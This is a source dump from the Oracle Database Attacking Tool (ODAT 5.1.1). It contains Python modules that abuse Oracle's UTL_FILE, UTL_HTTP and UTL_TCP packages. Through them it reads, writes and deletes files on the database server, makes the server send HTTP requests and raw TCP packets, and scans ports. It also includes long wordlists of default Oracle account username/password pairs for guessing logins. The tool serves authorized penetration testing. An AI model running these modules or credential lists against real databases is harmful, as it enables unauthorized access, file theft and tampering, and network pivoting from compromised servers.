self.__dropDirectory__() return ErrorSQLRequest(e) self.__dropDirectory__() return data def getFileExist (self, remotePath, remoteNameFile): ''' Return true if file exists ''' exist = False logging.info("Test if the {1}{0} file exists".format(remoteNameFile,remotePath)) self.__setDirectoryName__() status = self.__createOrRemplaceDirectory__(remotePath) if isinstance(status,Exception): return status UTL_FILE_EXIST = "DECLARE l_fileID UTL_FILE.FILE_TYPE; l_value VARCHAR2(32000); l_exists BOOLEAN; l_file_length NUMBER; l_blocksize NUMBER; BEGIN UTL_FILE.fgetattr('{0}', '{1}', l_exists, l_file_length, l_blocksize); dbms_output.put_line(case when l_exists then 'True' else 'False' end); END;" cursor = cx_Oracle.Cursor(self.args['dbcon']) try : cursor.callproc("dbms_output.enable") try: cursor.execute(UTL_FILE_EXIST.format(self.directoryName, remoteNameFile)) except Exception as e: logging.info("Impossible to execute the query `{0}`: {1}".format(UTL_FILE_EXIST, self.cleanError(e))) self.__dropDirectory__() return ErrorSQLRequest(e) else : statusVar = cursor.var(cx_Oracle.NUMBER) lineVar = cursor.var(cx_Oracle.STRING) while True: cursor.callproc("dbms_output.get_line", (lineVar, statusVar)) if statusVar.getvalue() != 0: break line = lineVar.getvalue() if line == None : line = '' if "True" in line : logging.debug("The file exist: good news") return True elif "False" in line : logging.debug("The file doesn't exist") return False else : return '' cursor.close() except Exception as e: self.__dropDirectory__() return ErrorSQLRequest(e) self.__dropDirectory__() return data def deleteFile (self,remotePath, remoteNameFile): ''' Delete a remote file ''' logging.info("Delete the {0} remote file stored in {1}".format(remoteNameFile,remotePath)) self.__setDirectoryName__() status = self.__createOrRemplaceDirectory__(remotePath) if isinstance(status,Exception): logging.info("Impossible to delete the file: {0}".format(self.cleanError(response))) return status UTL_FILE_DELETE_FILE = "BEGIN UTL_FILE.FREMOVE ('{0}', '{1}'); END;" response =self.__execPLSQL__(UTL_FILE_DELETE_FILE.format(self.directoryName, remoteNameFile)) if isinstance(response,Exception): logging.info("Impossible to delete the file: {0}".format(self.cleanError(response))) return response return True def testAll(self): ''' Test all functions ''' folder = self.__generateRandomString__() self.args['print'].subtitle("UTL_FILE library ?") logging.info("Simulate the file creation in the {0} folder with UTL_FILE".format(folder)) logging.info('The file is not created remotly because the folder should not exist') status = self.putFile (remotePath=folder, remoteNameFile='temp.txt', data="test") if status == True or self.ERROR_BAD_FOLDER_OR_BAD_SYSTEM_PRIV in str(status): self.args['print'].goodNews("OK") else : self.args['print'].badNews("KO") def runUtlFileModule(args): ''' ''' status = True if checkOptionsGivenByTheUser(args,["test-module","getFile",'putFile','removeFile']) == False : return EXIT_MISS_ARGUMENT utlFile = UtlFile(args) status = utlFile.connection(stopIfError=True) if args['test-module'] == True : args['print'].title("Test if the UTL_FILE library can be used") status = utlFile.testAll() #Option 1: read file if args['getFile'] !=None : args['print'].title("Read the {0} file stored in {1} on the {2} server".format(args['getFile'][1],args['getFile'][0],args['server'])) #fileExist = utlFile.getFileExist(args['getFile'][0], args['getFile'][1]) length = utlFile.getLength(args['getFile'][0], args['getFile'][1]) data = utlFile.getFile(args['getFile'][0], args['getFile'][1]) if isinstance(data,Exception): args['print'].badNews("Impossible to read the {0} file: {1}".format(args['getFile'],data)) else : if data == False : args['print'].badNews("The {0} file in {1} doesn't exist".format(args['getFile'][1],args['getFile'][0])) elif data == '' : args['print'].badNews("The {0} file is empty".format(args['getFile'])) else : args['print'].goodNews("Data stored in the {0} file sored in {1} (copied in {2} locally):\n{3}".format(args['getFile'][1],args['getFile'][0],args['getFile'][2],data)) utlFile.writeFile(args['getFile'][2],data, mode='wb') #Option 2: put file if args['putFile'] !=None : args['print'].title("Put the {0} local file in the {1} folder like {2} on the {3} server".format(args['putFile'][2],args['putFile'][0],args['putFile'][1],args['server'])) status = utlFile.putFile(args['putFile'][0], args['putFile'][1], localFile=args['putFile'][2]) if isinstance(status,Exception): args['print'].badNews("Impossible to put the {0} file: {1}".format(args['putFile'][2],status)) else : args['print'].goodNews("The {0} file was created on the {1} directory on the {2} server like the {3} file".format(args['putFile'][2], args['putFile'][0], args['server'],args['putFile'][1])) #Option 3: remove file if args['removeFile'] !=None : args['print'].title("Remove the {0} file stored in the {1} folder on the {2} server".format(args['removeFile'][1],args['removeFile'][0],args['server'])) status = utlFile.deleteFile(args['removeFile'][0], args['removeFile'][1]) if isinstance(status,Exception): args['print'].badNews("Impossible to remove the {0} file: {1}".format(args['removeFile'][1],status )) else : args['print'].goodNews("The {0} file was deleted on the {1} directory on the {2} server".format(args['removeFile'][1], args['removeFile'][0], args['server'])) odat-5.1.1/UtlHttp.py000066400000000000000000000115231423220672100144240ustar00rootroot00000000000000#!/usr/bin/python # -*- coding: utf-8 -*- from Http import Http import logging from sys import exit from Utils import ErrorSQLRequest, checkOptionsGivenByTheUser from Constants import * class UtlHttp (Http): ''' Allow the user to send HTTP request ''' def __init__(self,args): ''' Constructor ''' logging.debug("UtlHttp object created") Http.__init__(self,args) def setTimeout(self,value): ''' Set the timeout value with utl_http.set_transfer_timeout(value) Default value = 60 s in oracle Return True si Ok, otherwise return the Exception ''' status = self.__execProc__('utl_http.set_transfer_timeout',options=[value]) if isinstance(status,Exception): logging.warning("Impossible to set the timeout value: {0}".format(self.cleanError(status))) return status else : logging.info('The timeout value is turned on {0} secs'.format(value)) return True def sendGetRequest(self,url): ''' send a HTTP get request to url Return False if the current user is not allowed to use the httpuritype lib, else return False or response data ''' logging.info('Send a HTTP GET request to {0}'.format(url)) query = "select utl_http.request('{0}') as data from dual".format(url) response = self. __execThisQuery__(query=query,ld=['data']) if isinstance(response,Exception): logging.info('Error with the SQL request {0}: {1}'.format(query,str(response))) return ErrorSQLRequest(response) elif isinstance(response,list) and isinstance(response[0],dict): return response[0]['data'] logging.info('Enough privileges') return '' def sendRequest(self,ip,port,filename): ''' ''' params = self.parseRequest(nameFileRequest=filename) if params == None : return False request = "DECLARE req utl_http.req; res utl_http.resp; buffer varchar2(4000); BEGIN req := utl_http.begin_request('http://{0}:{1}{2}', '{3}','{4}');".format(ip,port,params['url'],params['method'],params['version']) for key in list(params['header'].keys()): request += "utl_http.set_header(req, '{0}','{1}');".format(key,params['header'][key]) if params['body'] != None: request += "utl_http.write_text(req, '{0}');".format(params['body']) request += "res := utl_http.get_response(req); BEGIN LOOP utl_http.read_line(res, buffer); dbms_output.put_line(buffer); END LOOP; utl_http.end_response(res); exception when utl_http.end_of_body then utl_http.end_response(res); END; END;" response = self.__execPLSQLwithDbmsOutput__(request=request) return response def testAll (self): ''' Test all functions ''' self.args['print'].subtitle("UTL_HTTP library ?") logging.info('Try to make the server send a HTTP request to 0.0.0.0 with the UTL_HTTP library') response = self.sendGetRequest('http://0.0.0.0/') if isinstance(response,Exception) and self.ERROR_NO_PRIVILEGE in str(response) or self.ERROR_NO_PRIVILEGE_INVALID_ID in str(response) or self.ERROR_XML_DB_SECU_NOT_INST in str(response): #ERROR_NO_PRIVILEGE_INVALID_ID ==> For Oracle 10g logging.info('Not enough privileges: {0}'.format(str(response))) self.args['print'].badNews("KO") return False else: self.args['print'].goodNews("OK") return True def runUtlHttpModule(args): ''' Run the UTL_HTTP module ''' status = True if checkOptionsGivenByTheUser(args,["test-module","scan-ports","send"]) == False : return EXIT_MISS_ARGUMENT utlHttp = UtlHttp(args) status = utlHttp.connection(stopIfError=True) utlHttp.setTimeout(5) if args['test-module'] == True : args['print'].title("Test if the UTL_HTTP library can be used") status = utlHttp.testAll() #Option 1: sendRequest if args['send'] != None: args['print'].title("Send the HTTP request stored in the {0} file".format(args['send'][2])) data = utlHttp.sendRequest(args['send'][0],args['send'][1],args['send'][2]) if isinstance(data,Exception): args['print'].badNews("Impossible to send the request: {0}".format(data)) else : args['print'].goodNews("Response from the server:\n{0}".format(data)) #Option 2: scan-ports if args['scan-ports'] != None: ports = [] if "," in args['scan-ports'][1]: ports=args['scan-ports'][1].split(',') elif '-' in args['scan-ports'][1]: startEnd = args['scan-ports'][1].split('-') for aPort in range(int(startEnd[0]),int(startEnd[1])): ports.append(str(aPort)) if ports == []: logging.critical("The second parameter ('{0}') is not a valid: cancelation...".format(args['scan-ports'][1])) return -1 elif args['scan-ports'][1].isdigit() == True: ports = [args['scan-ports'][1]] else: logging.critical("The second parameter ('{0}') is not a valid port: cancelation...".format(args['scan-ports'][1])) return -1 args['print'].title("Scan ports ({0}) of {1} ".format(args['scan-ports'][1],args['scan-ports'][0])) resultats = utlHttp.scanTcpPorts(httpObject=utlHttp,ip=args['scan-ports'][0],ports=ports) utlHttp.printScanPortResults(resultats) utlHttp.close() odat-5.1.1/UtlTcp.py000066400000000000000000000073311423220672100142350ustar00rootroot00000000000000#!/usr/bin/python # -*- coding: utf-8 -*- from Http import Http import logging, cx_Oracle from Utils import ErrorSQLRequest, checkOptionsGivenByTheUser from Constants import * import threading, _thread class UtlTcp (Http): ''' Allow the user to scan ports ''' def __init__(self,args): ''' Constructor ''' logging.debug("UtlTcp object created") Http.__init__(self,args) def tryToConnect(self,server,port): ''' Try to connect to this server on the port selected ''' request = "DECLARE c utl_tcp.connection; BEGIN c := utl_tcp.open_connection('{0}',{1}); utl_tcp.close_connection(c); END;".format(server, port) response = self.__execPLSQL__(request) if isinstance(response,Exception): logging.info('Impossible to connect to the {0}:{1} server with UTL_TCP: {2}'.format(server,port,response)) return response else : return True def sendPacket(self,server,port,filename=None, data=None): ''' Send a packet to the server, on the specific port ''' responsedata = "" if filename==None and data==None : logging.error("To send a packet via UTL_TCP, you must choose between a name file or data") if filename != None: data = self.__loadFile__(filename) elif data == None: data = "" if isinstance(data,Exception): return data data = data.hex() request = "DECLARE c utl_tcp.connection; ret_val pls_integer; bu RAW(32766); BEGIN c := utl_tcp.open_connection('{0}',{1}); bu:=hextoraw('{2}'); ret_val := utl_tcp.write_raw(c, bu); ret_val := utl_tcp.write_line(c); BEGIN LOOP dbms_output.put_line(utl_tcp.get_line(c, TRUE)); END LOOP; EXCEPTION WHEN utl_tcp.end_of_input THEN NULL; END; utl_tcp.close_connection(c); END;".format(server, port,data) logging.info("Send the packet") data = self.__execPLSQLwithDbmsOutput__(request,addLineBreak=True) return data def testAll (self): ''' Test all functions ''' self.args['print'].subtitle("UTL_TCP library ?") logging.info('Try to make the server connect to 0.0.0.0:00 with the UTL_TCP library') response = self.tryToConnect('0.0.0.0','1') if isinstance(response,Exception) and self.ERROR_UTL_TCP_NETWORK not in str(response): logging.info('Not enough privileges: {0}'.format(str(response))) self.args['print'].badNews("KO") return False else: self.args['print'].goodNews("OK") return True def runUtlTcpModule(args): ''' Run the UTL_TCP module ''' status = True if checkOptionsGivenByTheUser(args,["test-module","send-packet","scan-ports"]) == False : return EXIT_MISS_ARGUMENT utlTcp = UtlTcp(args) status = utlTcp.connection(stopIfError=True) if args['test-module'] == True : args['print'].title("Test if the UTL_TCP library can be used") status = utlTcp.testAll() #Option 2: send packet if args['send-packet'] != None: args['print'].title("Send the packet stored in the {0} file".format(args['send-packet'][2])) data = utlTcp.sendPacket(args['send-packet'][0],args['send-packet'][1],filename=args['send-packet'][2]) if isinstance(data,Exception): args['print'].badNews("Impossible to send the packet: {0}".format(data)) else : args['print'].goodNews("Response from the server:\n{0}".format(data)) #Option 1: tcp Scan if args['scan-ports'] != None: ports = [] if "," in args['scan-ports'][1]: ports=args['scan-ports'][1].split(',') elif '-' in args['scan-ports'][1]: startEnd = args['scan-ports'][1].split('-') for aPort in range(int(startEnd[0]),int(startEnd[1])): ports.append(str(aPort)) else : logging.error("Syntax for ports given not recognized") args['print'].title("Scan ports ({0}) of {1} ".format(args['scan-ports'][1],args['scan-ports'][0])) resultats = utlTcp.scanTcpPorts(httpObject=utlTcp,ip=args['scan-ports'][0],ports=ports) utlTcp.printScanPortResults(resultats) utlTcp.close() odat-5.1.1/accounts/000077500000000000000000000000001423220672100142635ustar00rootroot00000000000000odat-5.1.1/accounts/accounts.txt000066400000000000000000000156751423220672100166610ustar00rootroot00000000000000abm/abm adams/wood adldemo/adldemo admin/admin administrator/administrator ad_monitor/lizard ahl/ahl ahm/ahm ak/ak alhro/xxx alhrw/xxx alr/alr amf/amf ams/ams amv/amv amw/amw andy/swordfish anonymous/anonymous ap/ap applmgr/applmgr applsys/applsys applsyspub/pub apps/apps apps_mrc/apps apps_ne/apps appuser/apppassword aq/aq aqdemo/aqdemo aqjava/aqjava aquser/aquser ar/ar asa/asa asf/asf asg/asg asl/asl asn/asn aso/aso asp/asp ast/ast atm/sampleatm audiouser/audiouser aurora$jis$utility$/invalid aurora$orb$unauthenticated/invalid ax/ax az/az bc4j/bc4j ben/ben bic/bic bil/bil bim/bim bis/bis biv/biv bix/bix blake/paper blewis/blewis bne/bne bom/bom brio_admin/brio_admin brukernavn/password bsc/bsc bug_reports/bug_reports calvin/hobbes catalog/catalog cct/cct cdemo82/cdemo82 cdemocor/cdemocor cdemorid/cdemorid cdemoucb/cdemoucb cdouglas/cdouglas ce/ce centra/centra central/central cids/cids cis/cis cisinfo/cisinfo cis/zwerg clark/cloth clkana/ clkrt/ cln/cln cmi/cmi cn/cn company/company compiere/compiere cqschemauser/password cquserdbuser/password crp/crp csc/csc cs/cs csd/csd cse/cse csf/csf csi/csi csl/csl csm/csm csmig/csmig csp/csp csr/csr css/css ctxdemo/ctxdemo ctxsys/ctxsys cua/cua cue/cue cuf/cuf cug/cug cui/cui cun/cun cup/cup cus/cus cz/cz data_schema/laskjdf098ksdaf09 dba_proxy/dba_proxy dbatest/dbatest dbi/mumblefratz dbsnmp/dbsnmp dbvision/dbvision dcm/ ddd/ddd ddic/199220706 ddr/ddr demo8/demo8 demo9/demo9 demo/demo des2k/des2k des/des dev2000_demos/dev2000_demos diane/passwo1 dip/dip discoverer5/ discoverer_admin/discoverer_admin dmsys/dmsys dna/dna dom/dom dpf/dpfpass dpp/dpp dsgateway/dsgateway dssys/dssys dtsp/dtsp eaa/eaa eam/eam earlywatch/support east/east ec/ec ecx/ecx edr/edr ego/ego ejb/ejb ejsadmin/ejsadmin em_monitor/em_monitor emp/emp eng/eng eni/eni estoreuser/estore event/event evm/evm example/example exfsys/exfsys extdemo2/extdemo2 extdemo/extdemo fa/fa fem/fem fii/fii finance/finance finprod/finprod flm/flm fnd/fnd foo/bar fpa/fpa fpt/fpt frm/frm frosty/snowman fte/fte ftp/ftp fun/fun fv/fv gcs/gcs ghg/ghg gl/gl gma/gma gmd/gmd gme/gme gmf/gmf gmi/gmi gml/gml gmo/gmo gmp/gmp gms/gms gpfd/gpfd gpld/gpld gr/gr hades/hades hcpark/hcpark hlw/hlw hr/hr hri/hri hvst/hvst hxc/hxc hxt/hxt ia/ia iba/iba ibc/ibc ibe/ibe ibp/ibp ibu/ibu ibw/ibw iby/iby icdbown/icdbown icx/icx idemo_user/idemo_user ieb/ieb iec/iec iem/iem ieo/ieo ies/ies ieu/ieu iex/iex ifssys/ifssys igc/igc igf/igf igi/igi igs/igs igw/igw imageuser/imageuser imc/imc imedia/imedia imt/imt inl/inl #internal/oracle internal/oracle #internal/sys_stnt internal/sys_stnt inv/inv ipa/ipa ipd/ipd ip/ip iplanet/iplanet ipm/ipm isc/isc ita/ita itg/itg izu/izu ja/ja jake/passwo4 je/je jg/jg jill/passwo2 jl/jl jmf/jmf jmuser/jmuser john/john jones/steel jtf/jtf jti/jti jtm/jtm jts/jts jward/airoplane kwalker/kwalker l2ldemo/l2ldemo lbacsys/lbacsys librarian/shelves lns/lns manprod/manprod mark/passwo3 mascarm/manager master/password mddata/mddata mddemo_clerk/clerk mddemo/mddemo mddemo_mgr/mddemo_mgr mdsys/mdsys me/me mfg/mfg mgdsys/mgdsys mgr/mgr mgwuser/mgwuser migrate/migrate miller/miller mmo2/mmo2 modtest/yes moreau/moreau mrp/mrp msc/msc msd/msd mso/mso msr/msr mst/mst mth/mth mtssys/mtssys mts_user/mts_password mwa/mwa mxagent/mxagent names/names neotix_sys/neotix_sys nneul/nneulpass nomeutente/password nome_utilizador/senha nom_utilisateur/mot_de_passe nume_utilizator/parol oaihub902/ oas_public/oas_public ocitest/ocitest ocm_db_admin/ocm_db_admin odm_mtr/mtrpw odm/odm odscommon/odscommon ods/ods ods_server/ods_server oe/change_on_install oemadm/oemadm oemrep/oemrep oem_repository/ oe/oe okb/okb okc/okc oke/oke oki/oki okl/okl oko/oko okr/okr oks/oks okx/okx olapdba/olapdba olapsvr/olapsvr olapsys/olapsys omwb_emulation/oracle ont/ont oo/oo openspirit/openspirit opi/opi oracache/oracache oracle_ocm/oracle_ocm oracle/oracle oradba/oradbapass orange/ oraprobe/oraprobe oraregsys/oraregsys orasso_ds/orasso_ds orasso/orasso orasso_pa/orasso_pa orasso_ps/orasso_ps orasso_public/orasso_public orastat/orastat orcladmin/welcome ordcommon/ordcommon orddata/orddata ordplugins/ordplugins ordsys/ordsys ose$http$admin/invalid osm/osm osp22/osp22 ossaq_host/ ossaq_pub/ ossaq_sub/ ota/ota outln/outln owa/owa owa_public/owa_public owbsys/owbsys owf_mgr/owf_mgr owner/owner ozf/ozf ozp/ozp ozs/ozs panama/panama pa/pa patrol/patrol paul/paul perfstat/perfstat perstat/perstat pft/pft pji/pji pjm/pjm planning/planning plex/plex plsql/supersecret pmi/pmi pm/pm pn/pn po7/po7 po8/po8 poa/poa pom/pom pon/pon po/po portal30_admin/portal30_admin portal30_demo/portal30_demo portal30/portal30 portal30_ps/portal30_ps portal30_public/portal30_public portal30_sso_admin/portal30_sso_admin portal30_sso/portal30_sso portal30_sso_ps/portal30_sso_ps portal30_sso_public/portal30_sso_public portal_app/ portal_demo/portal_demo portal_public/ portal_sso_ps/portal_sso_ps portal/ pos/pos powercartuser/powercartuser primary/primary prp/prp psa/psa psb/psb psp/psp pubsub1/pubsub1 pubsub/pubsub pv/pv qa/qa qdba/qdba qot/qot qp/qp qpr/qpr qrm/qrm qs_adm/qs_adm qs_cbadm/change_on_install qs_cb/qs_cb qs_cs/change_on_install qs_es/qs_es qs_os/qs_os qs/qs qs_ws/qs_ws repadmin/repadmin rep_manager/demo reports/reports reports_user/oem_temp rep_owner/rep_owner rep_user/demo re/re rg/rg rhx/rhx rla/rla rlm/rlm rmail/rmail rman/rman root/root rrs/rrs sample/sample sap/06071992 sapr3/sap sap/sapr3 scott/tiger sdos_icsap/sdos_icsap secdemo/secdemo serviceconsumer1/serviceconsumer1 sh/sh si_informtn_schema/si_informtn_schema siteminder/siteminder slide/slidepw spatial_csw_admin_usr/spatial_csw_admin_usr spatial_wfs_admin_usr/spatial_wfs_admin_usr spierson/spierson ssp/ssp starter/starter strat_user/strat_passwd swpro/swpro swuser/swuser sympa/sympa sysadmin/sysadmin sysadm/sysadm sysman/sysman sys/sys system/system system/welcome1 tahiti/tahiti talbot/mt6ch5 tdos_icsap/tdos_icsap tec/tectec test/passwd testpilot/testpilot test/test test_user/test_user thinsample/thinsamplepw tibco/tibco tip37/tip37 tracesvr/trace travel/travel tsdev/tsdev tsuser/tsuser turbine/turbine uddisys/ ultimate/ultimate um_admin/um_admin um_client/um_client user0/user0 user1/user1 user2/user2 user3/user3 user4/user4 user5/user5 user6/user6 user7/user7 user8/user8 user9/user9 user_name/password user/user usuario/clave utility/utility utlbstatu/utlestat vea/vea veh/veh vertex_login/vertex_login videouser/videouser vif_developer/vif_dev_pwd viruser/viruser vpd_admin/akf7d98s2 vrr1/vrr1 webcal01/webcal01 webdb/webdb webread/webread websys/manager webuser/your_pass west/west wfadmin/wfadmin wh/wh wip/wip wireless/ wkadmin/wkadmin wkproxy/change_on_install wk_proxy/ wksys/wksys wk_test/wk_test wkuser/wkuser wms/wms wmsys/wmsys wob/wob wps/wps wsh/wsh wsm/wsm wwwuser/wwwuser www/www xademo/xademo xdb/xdb xdo/xdo xdp/xdp xla/xla xle/xle xnb/xnb xnc/xnc xni/xni xnm/xnm xnp/xnp xns/xns xprt/xprt xtr/xtr yy/yy zfa/zfa zpb/zpb zsa/zsa zx/zx odat-5.1.1/accounts/accounts_multiple.txt000066400000000000000000000215321423220672100205610ustar00rootroot00000000000000abm/abm adams/wood adldemo/adldemo admin/admin administrator/admin administrator/administrator admin/jetspeed admin/welcome ad_monitor/lizard ahl/ahl ahm/ahm ak/ak alhro/xxx alhrw/xxx alr/alr amf/amf ams/ams amv/amv amw/amw andy/swordfish anonymous/anonymous anonymous/ ap/ap applmgr/applmgr applsys/applsys applsys/apps applsys/fnd applsyspub/applsyspub applsyspub/fndpub applsyspub/pub applysyspub/fndpub applysyspub/pub applysyspub/ apps/apps apps_mrc/apps apps_ne/apps appuser/apppassword appuser/appuser aq/aq aqdemo/aqdemo aqjava/aqjava aquser/aquser ar/ar asf/asf asg/asg asl/asl asn/asn aso/aso asp/asp ast/ast atm/sampleatm audiouser/audiouser aurora$jis$utility$/invalid aurora$jis$utility$/ aurora$orb$unauthenticated/invalid aurora$orb$unauthenticated/ ax/ax az/az bc4j/bc4j ben/ben bic/bic bil/bil bim/bim bis/bis biv/biv bix/bix blake/paper blewis/blewis bne/bne bom/bom bpel/bpel brio_admin/brio_admin brugernavn/adgangskode brukernavn/password bsc/bsc bug_reports/bug_reports calvin/hobbes catalog/catalog cct/cct cdemo82/cdemo82 cdemo82/cdemo83 cdemo82/unknown cdemocor/cdemocor cdemorid/cdemorid cdemoucb/cdemoucb cdouglas/cdouglas ce/ce centra/centra central/central cids/cids cis/cis cisinfo/cisinfo cisinfo/zwerg cis/zwerg clark/cloth clkana/ clkrt/ cln/cln cmi/cmi cn/cn company/company compiere/compiere cqschemauser/password cquserdbuser/password crp/crp csc/csc cs/cs csd/csd cse/cse csf/csf csi/csi csl/csl csm/csm csmig/csmig csp/csp csr/csr css/css ctxdemo/ctxdemo ctxsys/change_on_install ctxsys/ctxsys ctxsys/unknown ctxsys/ cua/cua cue/cue cuf/cuf cug/cug cui/cui cun/cun cup/cup cus/cus cz/cz data_schema/laskjdf098ksdaf09 dba_proxy/dba_proxy dbatest/dbatest dbi/mumblefratz dbsnmp/dbsnmp dbsnmp/manager dbvision/dbvision dcm/ ddd/ddd ddic/199220706 ddr/ddr demo8/demo8 demo9/demo9 demo/demo des2k/des2k des/des dev2000_demos/dev2000_demos diane/passwo1 dip/dip discoverer5/ discoverer_admin/discoverer_admin dmsys/dmsys dna/dna dom/dom dpf/dpfpass dpp/dpp dsgateway/dsgateway dsgateway/ dssys/dssys dtsp/dtsp eaa/eaa eam/eam earlywatch/support east/east ec/ec ecx/ecx edr/edr ego/ego ejb/ejb ejsadmin/ejsadmin ejsadmin/ejsadmin_password em_monitor/em_monitor emp/emp eng/eng eni/eni estoreuser/estore event/event evm/evm example/example exfsys/exfsys extdemo2/extdemo2 extdemo/extdemo fa/fa fem/fem fii/fii finance/finance finprod/finprod flm/flm fnd/fnd foo/bar fpa/fpa fpt/fpt frm/frm frosty/snowman fte/fte ftp/ftp fun/fun fv/fv gcs/gcs ghg/ghg gl/gl gma/gma gmd/gmd gme/gme gmf/gmf gmi/gmi gml/gml gmo/gmo gmp/gmp gms/gms gpfd/gpfd gpld/gpld gr/gr hades/hades hcpark/hcpark hlw/hlw hr/change_on_install hr/hr hri/hri hr/unknown hr/ hvst/hvst hxc/hxc hxt/hxt ia/ia iba/iba ibc/ibc ibe/ibe ibp/ibp ibu/ibu ibw/ibw iby/iby icdbown/icdbown icx/icx idemo_user/idemo_user ieb/ieb iec/iec iem/iem ieo/ieo ies/ies ieu/ieu iex/iex ifssys/ifssys igc/igc igf/igf igi/igi igs/igs igw/igw imageuser/imageuser imc/imc imedia/imedia imt/imt inl/inl #internal/oracle internal/oracle #internal/sys_stnt internal/sys_stnt inv/inv ipa/ipa ipd/ipd ip/ip iplanet/iplanet ipm/ipm isc/isc ita/ita itg/itg izu/izu ja/ja jake/passwo4 je/je jg/jg jill/passwo2 jl /jl jmf/jmf jmuser/jmuser john/john jones/steel jtf/jtf jti/jti jtm/jtm jts/jts jward/airoplane kwalker/kwalker l2ldemo/l2ldemo lbacsys/lbacsys librarian/shelves lns/lns manprod/manprod mark/passwo3 mascarm/manager master/password mddata/mddata mddemo_clerk/clerk mddemo_clerk/mgr mddemo/mddemo mddemo_mgr/mddemo_mgr mddemo_mgr/mgr mdsys/mdsys me/me mfg/mfg mgdsys/mgdsys mgr/mgr mgwuser/mgwuser migrate/migrate miller/miller mmo2/mmo2 mmo2/mmo3 mmo2/unknown modtest/yes moreau/moreau mrp/mrp msc/msc msd/msd mso/mso msr/msr mst/mst mth/mth mtssys/mtssys mts_user/mts_password mwa/mwa mxagent/mxagent names/names neotix_sys/neotix_sys nneul/nneulpass nomeutente/password nome_utilizador/senha nom_utilisateur/mot_de_passe nume_utilizator/parol oaihub902/ oas_public/oas_public oas_public/ ocitest/ocitest ocm_db_admin/ocm_db_admin ocm_db_admin/ odm_mtr/mtrpw odm/odm odscommon/odscommon ods/ods ods_server/ods_server oe/change_on_install oemadm/oemadm oemrep/oemrep oem_repository/ oe/oe oe/unknown okb/okb okc/okc oke/oke oki/oki okl/okl oko/oko okr/okr oks/oks okx/okx olapdba/olapdba olapsvr/instance olapsvr/olapsvr olapsys/manager olapsys/olapsys omwb_emulation/oracle ont/ont oo/oo openspirit/openspirit opi/opi oracache/oracache oracache/ oracle_ocm/oracle_ocm oracle/oracle oradba/oradbapass orange/ oraprobe/oraprobe oraregsys/oraregsys orasso_ds/orasso_ds orasso/orasso orasso_pa/orasso_pa orasso_ps/orasso_ps orasso_public/orasso_public orastat/orastat orcladmin/welcome ordcommon/ordcommon orddata/orddata ordplugins/ordplugins ordsys/ordsys ose$http$admin/invalid ose$http$admin/invalid password osm/osm osp22/osp22 ossaq_host/ ossaq_pub/ ossaq_sub/ ota/ota outln/outln owa/owa owa_public/owa_public owbsys/owbsys owf_mgr/owf_mgr owf_mgr/ owner/owner ozf/ozf ozp/ozp ozs/ozs panama/panama pa/pa patrol/patrol paul/paul perfstat/perfstat perstat/perstat pft/pft pji/pji pjm/pjm planning/planning plex/plex plsql/supersecret pm/change_on_install pmi/pmi pm/pm pm/unknown pn/pn po7/po7 po8/po8 poa/poa pom/pom pon/pon po/po portal30_admin/portal30_admin portal30_demo/portal30_demo portal30/portal30 portal30/portal31 portal30_ps/portal30_ps portal30_public/portal30_public portal30_sso_admin/portal30_sso_admin portal30_sso/portal30_sso portal30_sso_ps/portal30_sso_ps portal30_sso_public/portal30_sso_public portal_app/ portal_demo/portal_demo portal_demo/ portal_public/ portal_sso_ps/portal_sso_ps portal/ pos/pos powercartuser/powercartuser primary/primary prp/prp psa/psa psb/psb psp/psp pubsub1/pubsub1 pubsub/pubsub pv/pv qa/qa qdba/qdba qot/qot qp/qp qpr/qpr qrm/qrm qs_adm/change_on_install qs_adm/qs_adm qs_adm/unknown qs_cbadm/change_on_install qs_cbadm/qs_cbadm qs_cbadm/unknown qs_cb/change_on_install qs_cb/qs_cb qs_cb/unknown qs/change_on_install qs_cs/change_on_install qs_cs/qs_cs qs_cs/unknown qs_es/change_on_install qs_es/qs_es qs_es/unknown qs_os/change_on_install qs_os/qs_os qs_os/unknown qs/qs qs/unknown qs_ws/change_on_install qs_ws/qs_ws qs_ws/unknown repadmin/repadmin rep_manager/demo reports/reports reports_user/oem_temp rep_owner/demo rep_owner/rep_owner rep_user/demo re/re rg/rg rhx/rhx rla/rla rlm/rlm rmail/rmail rman/rman root/root rrs/rrs sample/sample sap/06071992 sap/6071992 sapr3/sap sap/sapr3 scott/tiger scott/tigger sdos_icsap/sdos_icsap secdemo/secdemo serviceconsumer1/serviceconsumer1 sh/change_on_install sh/sh sh/unknown si_informtn_schema/si_informtn_schema siteminder/siteminder slide/slidepw spatial_csw_admin_usr/spatial_csw_admin_usr spatial_wfs_admin_usr/spatial_wfs_admin_usr spierson/spierson ssp/ssp starter/starter strat_user/strat_passwd swpro/swpro swuser/swuser sympa/sympa sys/0racl3 sys/0racl38 sys/0racl38i sys/0racl39 sys/0racl39i sys/0racle sys/0racle8 sys/0racle8i sys/0racle9 sys/0racle9i sysadmin/sysadmin sysadmin/ sysadm/sysadm sys/change_on_install sys/d_syspw sys/manag3r sys/manager sysman/oem_temp sysman/sysman sys/oracl3 sys/oracle sys/oracle8 sys/oracle8i sys/oracle9 sys/oracle9i sys/password sys/sys sys/syspass system/0racl3 system/0racl38 system/0racl38i system/0racl39 system/0racl39i system/0racle system/0racle8 system/0racle8i system/0racle9 system/0racle9i system/change_on_install system/d_syspw system/d_systpw system/manag3r system/manager system/oracl3 system/oracle system/oracle8 system/oracle8i system/oracle9 system/oracle9i system/system system/systempass system/welcome1 tahiti/tahiti talbot/mt6ch5 tdos_icsap/tdos_icsap tec/tectec test/passwd testpilot/testpilot test/test test_user/test_user thinsample/thinsamplepw tibco/tibco tip37/tip37 tracesvr/trace travel/travel tsdev/tsdev tsuser/tsuser turbine/turbine uddisys/ ultimate/ultimate um_admin/um_admin um_client/um_client user0/user0 user1/user1 user2/user2 user3/user3 user4/user4 user5/user5 user6/user6 user7/user7 user8/user8 user9/user9 user_name/password user/user usuario/clave utility/utility utlbstatu/utlestat vea/vea veh/veh vertex_login/vertex_login videouser/videouser videouser/video user vif_developer/vif_dev_pwd viruser/viruser vpd_admin/akf7d98s2 vrr1/unknown vrr1/vrr1 vrr1/vrr2 webcal01/webcal01 webdb/webdb webread/webread websys/manager webuser/your_pass west/west wfadmin/wfadmin wh/wh wip/wip wireless/ wkadmin/wkadmin wkproxy/change_on_install wk_proxy/ wkproxy/unknown wkproxy/wkproxy wksys/change_on_install wk_sys/ wksys/wksys wk_test/wk_test wkuser/wkuser wms/wms wmsys/wmsys wob/wob wps/wps wsh/wsh wsm/wsm wwwuser/wwwuser www/www xademo/xademo xdb/change_on_install xdb/xdb xdo/xdo xdp/xdp xla/xla xle/xle xnb/xnb xnc/xnc 